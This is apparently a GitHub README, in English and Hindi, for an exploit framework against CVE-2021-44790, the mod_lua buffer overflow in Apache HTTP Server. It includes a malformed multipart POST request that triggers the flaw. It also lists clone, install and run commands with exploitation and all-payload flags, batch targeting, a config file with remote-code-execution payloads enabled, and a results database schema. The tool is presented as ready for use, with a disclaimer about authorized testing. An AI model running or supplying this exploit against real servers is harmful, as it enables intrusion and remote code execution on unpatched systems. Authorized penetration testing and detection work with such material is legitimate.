
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Apache mod_lua बफर ओवरफ्लो शोषण, CVE-2021-44790 के लिए एक उन्नत, एंटरप्राइज़-ग्रेड शोषण मंच है - जो Apache HTTP Server 2.4.x mod_lua मॉड्यूल में एक गंभीर बफर ओवरफ्लो भेद्यता है। यह फ्रेमवर्क व्यापक फिंगरप्रिंटिंग, बुद्धिमान स्क्रिप्ट खोज, बहु-चरणीय स्कैनिंग और 95%+ कॉन्फिडेंस डिटेक्शन के साथ पेशेवर रिपोर्टिंग क्षमताएं प्रदान करता है।
यह भेद्यता mod_lua मॉड्यूल में multipart/form-data अनुरोधों को संसाधित करते समय मौजूद है। lua_request_parsebody() फ़ंक्शन में इंटीजर अंडरफ्लो हीप-आधारित बफर ओवरफ्लो का कारण बन सकता है, जो संभावित रूप से रिमोट कोड निष्पादन की अनुमति देता है।
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| मुख्य इंटरफ़ेस | फिंगरप्रिंट परिणाम |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
योगदान का स्वागत है! कृपया इन दिशानिर्देशों का पालन करें:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए
यह सॉफ्टवेयर "जैसा है" प्रदान किया जाता है, बिना किसी प्रकार की वारंटी के, स्पष्ट या निहित।
⭐ इस प्रोजेक्ट का समर्थन करने के लिए इस रिपॉजिटरी को स्टार करें!
💡 कोई बग मिला? एक इश्यू खोलें
📧 संपर्क: [email protected]
सुरक्षा समुदाय के लिए ❤️ के साथ निर्मित
| फीचर | विवरण |
|---|
| 🔍 उन्नत फिंगरप्रिंटिंग | Apache संस्करण, mod_lua, OS, आर्किटेक्चर, WAF, CDN, कंटेनर, क्लाउड प्रदाता का पता लगाना |
| 🎯 बुद्धिमान खोज | robots.txt, sitemap, HTML पार्सिंग, JavaScript निष्कर्षण सहित 7+ खोज तकनीकें |
| 💥 बहु-चरणीय स्कैनिंग | कनेक्शन → फिंगरप्रिंट → खोज → सत्यापन → शोषण → रिपोर्टिंग |
| 🧩 विस्तारणीय प्लगइन सिस्टम | भविष्य के CVEs के लिए आसान प्लगइन विकास |
| 🌐 स्मार्ट HTTP इंजन | कनेक्शन पूलिंग, पुनः प्रयास, HTTP/2 समर्थन, दर सीमित करना |
| 📊 व्यापक रिपोर्टिंग | इंटरैक्टिव डैशबोर्ड के साथ JSON, HTML, Markdown, PDF |
| 🎨 सुंदर टर्मिनल UI | प्रोग्रेस बार, टेबल और रंग-कोडित आउटपुट के साथ रिच लाइब्रेरी |
| 💾 शोध डेटाबेस | पूर्ण स्कैन इतिहास और क्वेरी समर्थन के साथ SQLite स्टोरेज |
| 📸 स्क्रीनशॉट कैप्चर | साक्ष्य संग्रह के लिए स्वचालित वेबपेज स्क्रीनशॉट |
| 🚀 उच्च प्रदर्शन | 20+ समवर्ती थ्रेड, 100+ कनेक्शन पूल |
| एट्रिब्यूट | मान |
|---|
| CVE ID | CVE-2021-44790 |
| भेद्यता | बफर ओवरफ्लो (Integer Underflow) |
| प्रभावित सॉफ्टवेयर | Apache HTTP Server 2.4.0 से 2.4.51 |
| फिक्स्ड संस्करण | Apache HTTP Server 2.4.52 और बाद के संस्करण |
| घटक | mod_lua मॉड्यूल |
| हमला वेक्टर | नेटवर्क (रिमोट) |
| CVSS स्कोर | 9.8 (क्रिटिकल) |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | उच्च |
| उपलब्धता प्रभाव | उच्च |
| शोषण परिपक्वता | Proof-of-Concept उपलब्ध |
| स्कैन प्रगति | HTML रिपोर्ट डैशबोर्ड |
|---|
![]() | ![]() |
| विकल्प | विवरण | उदाहरण |
|---|
TARGET | लक्ष्य URL | http://target.com |
--config FILE | कॉन्फ़िगरेशन फ़ाइल | --config config.yaml |
--threads N | थ्रेड की संख्या | --threads 30 |
--timeout N | अनुरोध टाइमआउट (सेकंड) | --timeout 15 |
--proxy URL | प्रॉक्सी URL | --proxy http://127.0.0.1:8080 |
--verbose | विस्तृत आउटपुट | --verbose |
--scan-only | शोषण के बिना स्कैन करें | --scan-only |
--exploit | शोषण सक्षम करें | --exploit |
--all-payloads | सभी पेलोड का उपयोग करें | --all-payloads |
--report FORMAT | रिपोर्ट प्रारूप (json/html/markdown/all) | --report all |
--output DIR | आउटपुट निर्देशिका | --output /path/to/reports/ |
--research | शोध मोड सक्षम करें | --research |
--database FILE | डेटाबेस पथ | --database luastorm.db |
--screenshot | स्क्रीनशॉट लें | --screenshot |
--batch FILE | लक्ष्यों के साथ बैच फ़ाइल | --batch targets.txt |
--query SQL | डेटाबेस क्वेरी निष्पादित करें | --query "SELECT * FROM targets" |
| फीचर | प्रदर्शन |
|---|
| फिंगरप्रिंटिंग | < 2 सेकंड |
| स्क्रिप्ट खोज | 5-10 सेकंड |
| पेलोड परीक्षण | 1-5 सेकंड प्रति पेलोड |
| रिपोर्ट निर्माण | < 1 सेकंड |
| डेटाबेस संचालन | < 100ms |
| समवर्ती थ्रेड | 20+ |
| कनेक्शन पूल | 100+ |